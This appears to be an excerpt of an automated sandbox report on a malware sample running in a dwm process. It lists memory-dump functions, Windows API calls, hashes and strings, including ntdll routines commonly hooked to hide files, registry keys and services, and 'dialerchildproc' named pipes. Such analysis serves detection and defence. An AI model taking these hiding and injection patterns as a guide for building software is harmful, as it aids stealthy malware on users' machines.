API ID: CacheCurrentFlushInstructionProcessProtectVirtual
String ID:
API String ID: 3733156554-0
Opcode ID: efc513032ac2f8104d68ff6d1779eae6f51007478eb3e1ac0120cc0a77f626c8
Instruction ID: 015026c3bf2b5c4532f2cfc69d2c2b2bbcf9a5b0dcf6ffe626aa708de24468aa
Opcode Fuzzy Hash: efc513032ac2f8104d68ff6d1779eae6f51007478eb3e1ac0120cc0a77f626c8
Instruction Fuzzy Hash: 6BF03037B19B08C0D630DB11E84934A6BA0F3887D8F550215FA8D43B6DCE3EC6808B80

Function 0000026DB16B273C Relevance: 3.2, APIs: 2, Instructions: 187
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 0000026DB16B27DB
LoadLibraryA.KERNELBASE ref: 0000026DB16B285E

Memory Dump Source

Source File: 0000002D.00000002.3091701858.0000026DB16B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16b0000_dwm.jbxd

Similarity

API ID: AllocLibraryLoadVirtual
String ID:
API String ID: 3550616410-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 793f1997d1bf98c9e799aefee3001344c6f2adf3721dc400c8ac83eb1d55b70a
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: D0610332F0169887EB549F16980972E73D2F754BD8F1A8129DE5D0778CDA39E853C780

Function 0000026DB16E1ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000026DB16E1628: GetProcessHeap.KERNEL32 ref: 0000026DB16E1633
Part of subcall function 0000026DB16E1628: HeapAlloc.KERNEL32 ref: 0000026DB16E1642
Part of subcall function 0000026DB16E1628: RegOpenKeyExW.ADVAPI32 ref: 0000026DB16E16B2
Part of subcall function 0000026DB16E1628: RegOpenKeyExW.ADVAPI32 ref: 0000026DB16E16DF
Part of subcall function 0000026DB16E1628: RegCloseKey.ADVAPI32 ref: 0000026DB16E16F9
Part of subcall function 0000026DB16E1628: RegOpenKeyExW.ADVAPI32 ref: 0000026DB16E1719
Part of subcall function 0000026DB16E1628: RegCloseKey.ADVAPI32 ref: 0000026DB16E1734
Part of subcall function 0000026DB16E1628: RegOpenKeyExW.ADVAPI32 ref: 0000026DB16E1754
Part of subcall function 0000026DB16E1628: RegCloseKey.ADVAPI32 ref: 0000026DB16E176F
Part of subcall function 0000026DB16E1628: RegOpenKeyExW.ADVAPI32 ref: 0000026DB16E178F
Part of subcall function 0000026DB16E1628: RegCloseKey.ADVAPI32 ref: 0000026DB16E17AA
Part of subcall function 0000026DB16E1628: RegOpenKeyExW.ADVAPI32 ref: 0000026DB16E17CA

Sleep.KERNEL32 ref: 0000026DB16E1AD7
SleepEx.KERNELBASE ref: 0000026DB16E1ADD

Part of subcall function 0000026DB16E1628: RegCloseKey.ADVAPI32 ref: 0000026DB16E17E5
Part of subcall function 0000026DB16E1628: RegOpenKeyExW.ADVAPI32 ref: 0000026DB16E1805
Part of subcall function 0000026DB16E1628: RegCloseKey.ADVAPI32 ref: 0000026DB16E1820
Part of subcall function 0000026DB16E1628: RegOpenKeyExW.ADVAPI32 ref: 0000026DB16E1840
Part of subcall function 0000026DB16E1628: RegCloseKey.ADVAPI32 ref: 0000026DB16E185B
Part of subcall function 0000026DB16E1628: RegOpenKeyExW.ADVAPI32 ref: 0000026DB16E187B
Part of subcall function 0000026DB16E1628: RegCloseKey.ADVAPI32 ref: 0000026DB16E1896
Part of subcall function 0000026DB16E1628: RegCloseKey.ADVAPI32 ref: 0000026DB16E18A0

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: 86358c34b40a77f40c8559aba54143cd72c6b39e9b7ecb166de91e35927be6eb
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: A0312373F10649C1FF509B26DE593A913A4BB54BCCF4A56218E09872DDFF12C491E290

Non-executed Functions

Function 0000026DB16E2B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 0000026DB16E2BD0
lstrlenW.KERNEL32 ref: 0000026DB16E2E0A

Part of subcall function 0000026DB16E199C: OpenProcess.KERNEL32 ref: 0000026DB16E19C2
Part of subcall function 0000026DB16E199C: K32GetModuleFileNameExW.KERNEL32 ref: 0000026DB16E19E0
Part of subcall function 0000026DB16E199C: PathFindFileNameW.SHLWAPI ref: 0000026DB16E19EF
Part of subcall function 0000026DB16E199C: lstrlenW.KERNEL32 ref: 0000026DB16E19FB
Part of subcall function 0000026DB16E199C: StrCpyW.SHLWAPI ref: 0000026DB16E1A0E
Part of subcall function 0000026DB16E199C: CloseHandle.KERNEL32 ref: 0000026DB16E1A1C

GetProcAddress.KERNEL32 ref: 0000026DB16E2BE5

Part of subcall function 0000026DB16E152C: StrCmpIW.SHLWAPI ref: 0000026DB16E155D

Part of subcall function 0000026DB16E3844: StrCmpNIW.SHLWAPI ref: 0000026DB16E385C

StrCmpNIW.SHLWAPI ref: 0000026DB16E2C28
lstrlenW.KERNEL32 ref: 0000026DB16E2D50

Strings

ntdll.dll, xrefs: 0000026DB16E2BC9
NtQueryObject, xrefs: 0000026DB16E2BDB
\Device\Nsi, xrefs: 0000026DB16E2C1B

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: fa6f1be63ba1a87b5172fed6c71b4643f27ade253310e9bd3f78bf624ab99318
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: 0CB1B373B10A5882EB958F25DC487A963A6F748B8CF96521AEE095379CDF76CC40C380

Function 0000026DB16E7D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 0000026DB16E7DAC
RtlCaptureContext.NTDLL ref: 0000026DB16E7DD9
RtlLookupFunctionEntry.NTDLL ref: 0000026DB16E7DF3
RtlVirtualUnwind.NTDLL ref: 0000026DB16E7E34
IsDebuggerPresent.KERNEL32 ref: 0000026DB16E7E88
SetUnhandledExceptionFilter.KERNEL32 ref: 0000026DB16E7EA9
UnhandledExceptionFilter.KERNEL32 ref: 0000026DB16E7EB4

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: 673f2873fde4ad654a78d376170b3544c49daaef5f9177d58ce0c66091a65b76
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: FB317C73B05B848AEB648F60E8843ED7364F794748F85412ADA4E57B98EF3AC648C750

Function 0000026DB16ED2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 0000026DB16ED31D
RtlLookupFunctionEntry.NTDLL ref: 0000026DB16ED335
RtlVirtualUnwind.NTDLL ref: 0000026DB16ED370
IsDebuggerPresent.KERNEL32 ref: 0000026DB16ED3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 0000026DB16ED3B3
UnhandledExceptionFilter.KERNEL32 ref: 0000026DB16ED3BE

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: bb989dc9c6e74f8c12dad01ddb1d4c7471c85f99220278f6dc2e2b343b16ba17
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: 72319F37B14B8486EB60CF25EC443AE73A4F789758F910226EA9D43B98DF39C555CB40

Function 0000026DB16E12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 0000026DB16E1319
GetProcessHeap.KERNEL32 ref: 0000026DB16E1327
HeapAlloc.KERNEL32 ref: 0000026DB16E1338
RegEnumValueW.ADVAPI32 ref: 0000026DB16E1397

Part of subcall function 0000026DB16E152C: StrCmpIW.SHLWAPI ref: 0000026DB16E155D

GetProcessHeap.KERNEL32 ref: 0000026DB16E13DF
HeapAlloc.KERNEL32 ref: 0000026DB16E13ED
GetProcessHeap.KERNEL32 ref: 0000026DB16E140A
HeapFree.KERNEL32 ref: 0000026DB16E1418
lstrlenW.KERNEL32 ref: 0000026DB16E1421
GetProcessHeap.KERNEL32 ref: 0000026DB16E142F
HeapAlloc.KERNEL32 ref: 0000026DB16E143D
StrCpyW.SHLWAPI ref: 0000026DB16E145F
GetProcessHeap.KERNEL32 ref: 0000026DB16E1476
HeapFree.KERNEL32 ref: 0000026DB16E1484

Strings

d, xrefs: 0000026DB16E135A

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: 96382e3acaaa6827ca44e66e2646e4424fb01237ff0ffebd022b4e35471edae8
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: BA516A72B00B88C6EB50CF66E94835AB7A1F389F89F454124DA4A0776CDF3EC049CB80

Function 0000026DB16E1D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 0000026DB16E1D1F

Part of subcall function 0000026DB16E1FD4: GetModuleHandleA.KERNEL32 ref: 0000026DB16E1FEC
Part of subcall function 0000026DB16E1FD4: GetProcAddress.KERNEL32 ref: 0000026DB16E1FFD

Part of subcall function 0000026DB16E5B30: GetCurrentThreadId.KERNEL32 ref: 0000026DB16E5B6B

Strings

sechost.dll, xrefs: 0000026DB16E1E39
ntdll.dll, xrefs: 0000026DB16E1D2D
EnumServicesStatusExW, xrefs: 0000026DB16E1E11, 0000026DB16E1E32
NtQuerySystemInformation, xrefs: 0000026DB16E1D45
NtDeviceIoControlFile, xrefs: 0000026DB16E1E56
NtEnumerateKey, xrefs: 0000026DB16E1DB9
NtResumeThread, xrefs: 0000026DB16E1D62
EnumServiceGroupW, xrefs: 0000026DB16E1DF0
advapi32.dll, xrefs: 0000026DB16E1DF7, 0000026DB16E1E18
NtEnumerateValueKey, xrefs: 0000026DB16E1DD6
NtQueryDirectoryFile, xrefs: 0000026DB16E1D7F
NtQueryDirectoryFileEx, xrefs: 0000026DB16E1D9C

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: e992cd1b79d44f11385a7638b254574f37de9e3ee5f9028a8b74f7c8b0a2f6b7
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: 1E31B1B6F00A8EE0EA01EFA9EC6D7D42321B71434CFC2521798094316D9F7A8649D7D0

Function 0000026DB16B6910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000026DB16B6938
__scrt_acquire_startup_lock.LIBCMT ref: 0000026DB16B698A
_RTC_Initialize.LIBCMT ref: 0000026DB16B69B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 0000026DB16B69DE
__scrt_release_startup_lock.LIBCMT ref: 0000026DB16B6A09

Strings

`eh vector vbase copy constructor iterator', xrefs: 0000026DB16B69EE
`eh vector copy constructor iterator', xrefs: 0000026DB16B6A3B
scriptor', xrefs: 0000026DB16B6B39, 0000026DB16B6BB2, 0000026DB16B6BEC
`dynamic initializer for ', xrefs: 0000026DB16B69C7

Memory Dump Source

Source File: 0000002D.00000002.3091701858.0000026DB16B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16b0000_dwm.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: bc8ba06d231906410d28f4f7c54334bc73e889378fa2e39cc6ab0f5ed57794fc
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 6A81C431F0024D86FB64AB269C4F39B62A1E7A578CF5780159E05477DEDF3BC8468780

Function 0000026DB16ECE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 0000026DB16ECE37
FlsGetValue.KERNEL32(?,?,?,0000026DB16F0A6B,?,?,?,0000026DB16F045C,?,?,?,0000026DB16EC84F), ref: 0000026DB16ECE4C
FlsSetValue.KERNEL32(?,?,?,0000026DB16F0A6B,?,?,?,0000026DB16F045C,?,?,?,0000026DB16EC84F), ref: 0000026DB16ECE6D
FlsSetValue.KERNEL32(?,?,?,0000026DB16F0A6B,?,?,?,0000026DB16F045C,?,?,?,0000026DB16EC84F), ref: 0000026DB16ECE9A
FlsSetValue.KERNEL32(?,?,?,0000026DB16F0A6B,?,?,?,0000026DB16F045C,?,?,?,0000026DB16EC84F), ref: 0000026DB16ECEAB
FlsSetValue.KERNEL32(?,?,?,0000026DB16F0A6B,?,?,?,0000026DB16F045C,?,?,?,0000026DB16EC84F), ref: 0000026DB16ECEBC
SetLastError.KERNEL32 ref: 0000026DB16ECED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,0000026DB16F0A6B,?,?,?,0000026DB16F045C,?,?,?,0000026DB16EC84F), ref: 0000026DB16ECF0D
FlsSetValue.KERNEL32(?,?,00000001,0000026DB16EECCC,?,?,?,?,0000026DB16EBF9F,?,?,?,?,?,0000026DB16E7AB0), ref: 0000026DB16ECF2C

Part of subcall function 0000026DB16ED6CC: HeapAlloc.KERNEL32 ref: 0000026DB16ED721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,0000026DB16F0A6B,?,?,?,0000026DB16F045C,?,?,?,0000026DB16EC84F), ref: 0000026DB16ECF54

Part of subcall function 0000026DB16ED744: HeapFree.KERNEL32 ref: 0000026DB16ED75A
Part of subcall function 0000026DB16ED744: GetLastError.KERNEL32 ref: 0000026DB16ED764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,0000026DB16F0A6B,?,?,?,0000026DB16F045C,?,?,?,0000026DB16EC84F), ref: 0000026DB16ECF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,0000026DB16F0A6B,?,?,?,0000026DB16F045C,?,?,?,0000026DB16EC84F), ref: 0000026DB16ECF76

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: 6000b7eeb9ad468f5d45f5329cfb4210f5d56ad6800c1cf5aeafd710c9ce63f2
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: 6341B632F0034C82FE68A7359D5D37912427F947BCF964724A836476DEFE6BC8014680

Function 0000026DB16E2244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 0000026DB16E2259
GetCurrentProcessId.KERNEL32 ref: 0000026DB16E2263

Part of subcall function 0000026DB16E1934: OpenProcess.KERNEL32 ref: 0000026DB16E1952
Part of subcall function 0000026DB16E1934: IsWow64Process.KERNEL32 ref: 0000026DB16E1968
Part of subcall function 0000026DB16E1934: CloseHandle.KERNEL32 ref: 0000026DB16E1983

CreateFileW.KERNEL32 ref: 0000026DB16E22BC
WriteFile.KERNEL32 ref: 0000026DB16E22E4
ReadFile.KERNEL32 ref: 0000026DB16E2303
CloseHandle.KERNEL32 ref: 0000026DB16E230C

Strings

\\.\pipe\dialerchildproc64, xrefs: 0000026DB16E228C
\\.\pipe\dialerchildproc32, xrefs: 0000026DB16E2293

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: 9fa24eb0b23bd5ce7b3ddc3f94f69d2a51ad175b2d6da8c6bf530cee3d289606
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: C8213832B14B4882EB208B25E94875A67A1F799BA8F510215EA5903BACCF7DC589CB40

Function 0000026DB16B9944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 0000026DB16B99A1

Part of subcall function 0000026DB16BA814: __GetUnwindTryBlock.LIBCMT ref: 0000026DB16BA857
Part of subcall function 0000026DB16BA814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 0000026DB16BA87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 0000026DB16B9A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 0000026DB16B9CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 0000026DB16B9DDA

Strings

csm, xrefs: 0000026DB16B9A9C
csm, xrefs: 0000026DB16B9A22
csm, xrefs: 0000026DB16B99BB

Memory Dump Source

Source File: 0000002D.00000002.3091701858.0000026DB16B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16b0000_dwm.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: 7230d488e13e9c3bff1897c14ae51efb90f954d58938468ace4201149d47ef18
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: 05E1D4B3B04B488AEB60DF65D88A39E77A4F74978CF110115EE8957B9DCB36C491C780

Function 0000026DB16EA544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 0000026DB16EA5A1

Part of subcall function 0000026DB16EB414: __GetUnwindTryBlock.LIBCMT ref: 0000026DB16EB457
Part of subcall function 0000026DB16EB414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 0000026DB16EB47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 0000026DB16EA679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 0000026DB16EA8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 0000026DB16EA9DA

Strings

csm, xrefs: 0000026DB16EA69C
csm, xrefs: 0000026DB16EA5BB
csm, xrefs: 0000026DB16EA622

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: 0d857b3f48ac5f5f02ab9aee0c364f11a3a66bbf5b0b0217d64f09ab64738b47
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: E2E16D73B00748C6EB20DF65984839D77A0F79579CF920216EE8997B9DDB35C491CB80

Function 0000026DB16EF394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 0000026DB16EF510
GetProcAddress.KERNEL32 ref: 0000026DB16EF51C

Strings

ext-ms-, xrefs: 0000026DB16EF46D
api-ms-, xrefs: 0000026DB16EF45A

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: 07dc854bb8392e4b7756f712fbb909fe23776a23183938eecc9f735c6889463e
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: A141D233B12A0882EB16CB66AD087552391F755BA8F9B46299D0E8778DEE3AC4458380

Function 0000026DB16E104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 0000026DB16E10B1
RegEnumValueW.ADVAPI32 ref: 0000026DB16E1117
GetProcessHeap.KERNEL32 ref: 0000026DB16E115A
HeapAlloc.KERNEL32 ref: 0000026DB16E1168
GetProcessHeap.KERNEL32 ref: 0000026DB16E1185
HeapFree.KERNEL32 ref: 0000026DB16E1193

Strings

d, xrefs: 0000026DB16E10D6

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 41739dc7c09b12c353673866714c1e8f7b80919bbe72c68929168c01e66acb68
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: FC416F73A14B88C6E760CF21E84879E77A1F389B9DF458229DA8907B5CDF39C549CB40

Function 0000026DB16ED068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,0000026DB16EC7DE,?,?,?,?,?,?,?,?,0000026DB16ECF9D,?,?,00000001), ref: 0000026DB16ED087
FlsSetValue.KERNEL32(?,?,?,0000026DB16EC7DE,?,?,?,?,?,?,?,?,0000026DB16ECF9D,?,?,00000001), ref: 0000026DB16ED0A6
FlsSetValue.KERNEL32(?,?,?,0000026DB16EC7DE,?,?,?,?,?,?,?,?,0000026DB16ECF9D,?,?,00000001), ref: 0000026DB16ED0CE
FlsSetValue.KERNEL32(?,?,?,0000026DB16EC7DE,?,?,?,?,?,?,?,?,0000026DB16ECF9D,?,?,00000001), ref: 0000026DB16ED0DF
FlsSetValue.KERNEL32(?,?,?,0000026DB16EC7DE,?,?,?,?,?,?,?,?,0000026DB16ECF9D,?,?,00000001), ref: 0000026DB16ED0F0

Strings

1%, xrefs: 0000026DB16ED0CE
Y%, xrefs: 0000026DB16ED0A6

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 4558098af6529f8cb269427dcdf3de32342bfdd93cc47970c6cfec3c098dadc3
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: 90114632F0428C82FA6897359D5D37962417B547FCF9A4325A83D877DEEE6BCC428680

Function 0000026DB16E7510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000026DB16E7538
__scrt_acquire_startup_lock.LIBCMT ref: 0000026DB16E758A
_RTC_Initialize.LIBCMT ref: 0000026DB16E75B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 0000026DB16E75DE
__scrt_release_startup_lock.LIBCMT ref: 0000026DB16E7609

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 1f032829c0f570dc7f4d46e8c9db4fe9fd7df05683aa1e7509ee6566a9cde374
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
